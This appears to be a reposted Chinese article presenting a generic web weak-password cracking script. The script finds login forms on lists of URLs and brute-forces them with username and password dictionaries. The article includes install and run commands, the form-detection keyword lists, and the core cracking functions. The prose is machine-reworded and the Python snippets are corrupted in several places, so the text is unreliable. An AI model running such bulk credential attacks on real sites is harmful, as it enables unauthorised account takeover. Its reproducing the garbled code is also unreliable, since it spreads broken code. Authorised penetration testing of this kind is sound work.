副问题[/!--empirenews.page--]
留意:本剧本只是切磋通用web口令破解的可行性,全部测试请自行搭建靶机情形可能在拿到方针体系相干授权后再举办测试。文中所涉及的技能、思绪和器材仅供以安详为目标的进修交换行使,任何人不得将其用于犯科用途以及红利等目标,不然效果自行包袱!
器材先容
通用的web弱口令破解剧本,旨在批量检测那些没有验证码的打点靠山。
跟着攻防演练和一些裂痕发掘使命的增多,偶然辰必要大批量快速的检测一些网站靠山安详性,出格是测试一些打点弱口令,这种难度不大但较量费时艰辛的事变就必要一个自动化的脚原来完成了。但今朝的各类web口令破解器材大多是针对某个cms举办计划,可能相同burpsuite必要手工设置,没有见过能通用的破解器材。
因此就有了这个小器材——通用web弱口令破解剧本,共同另一个信息汇集器材
https://github.com/TideSec/FuzzScanner 可以举办批量快速刷分。
安装行使
安装行使都较量简朴:
从Github上拖下来
- git clone https://github.com/TideSec/web_pwd_common_crack
安装requirements.txt依靠
- pip install -r requirements.txt
运行剧本即可
- python web_pwd_crack.py url.txt 50 --> url.txt为待扫描URL地点列表,50为线程数,默以为50
url.txt为待检测URL地点,可以本身写个剧本批量从搜刮引擎获取,也可以本身用目次列举器材去汇集。
成果道理
1. 会见方针地点,说明要害字
道理很是low,就是从页面中提取表单,对表单中的内容举办检索,发明存在用户名、暗码、username、pwd、pass之类的字段则以为是登录页面,然后提取参数构成data数据,发送给crack函数举办破解。
因为此刻各类网站的哀求包的多样性,今朝没法做到像wvs那样能提取到全部的登录post,只是按照简朴的要害字举办了提取。
- logins =['用户名','暗码','login','denglu','登录','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account']
在测试中还发明偶然辰搜刮框会滋扰功效,以是把搜刮框又举办相识除
- sous = ['检索','搜','search','查找','keyword','要害字']
其它,今朝不支持自动辨认验证码,以是对验证码也举办相识除
- yzms = ['验证码','点击改换','点击革新','checkcode','valicode','code','captcha']
2. 通过理会页面获取post地点及参数
- def get_post_get_page(content,url):
- form_action = str(content).split('n')[0]
- # print form_action
- soup = BS(form_action, "lxml")
- url_path = ''
- for x in re.findall(".*?/",url):
- url_pathurl_path = url_path+x
-
- action_url = soup.form['action']
- if str(action_url).startswith('http'):
- path = action_url
- else:
- path = url_path+soup.form['action']
- method = soup.form['method']
- return path,method
3. 在获取相干参数和path后挪用破解函数web_crack举办暗码破解
- def web_crack(method,path,data):
- conn = requests.session()
- res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies())
- error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data)
- if dynamic_req_len:
- return False,False
-
- num = 0
- success_flag = 0
- dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC)
- for user_name in USERNAME_DIC:
- for pass_word in PASSWORD_DIC:
- datadata1 = data
- # print data1
- user_nameuser_name = user_name.strip()
- pass_wordpass_word = pass_word.strip()
- pass_word = str(pass_word.replace('{user}', user_name))
- data2 = str(data1.replace('%7Buser_name%7D', user_name))
- data2 = str(data2.replace('%7Bpass_word%7D', pass_word))
-
- numnum = num+1
-
- res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies())
- cur_length = len(res.content+str(res.headers))
-
- if cookie_error_flag: # cookie_error_flag暗示每个数据包中都有cookie
- if cur_length!=error_length:
- success_flag =1
- return user_name,pass_word
- elif 'Set-Cookie' in res.headers and cur_length!=error_length:
- success_flag =1
- return user_name,pass_word
- if success_flag == 0:
- return False,False
(编辑:河北网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|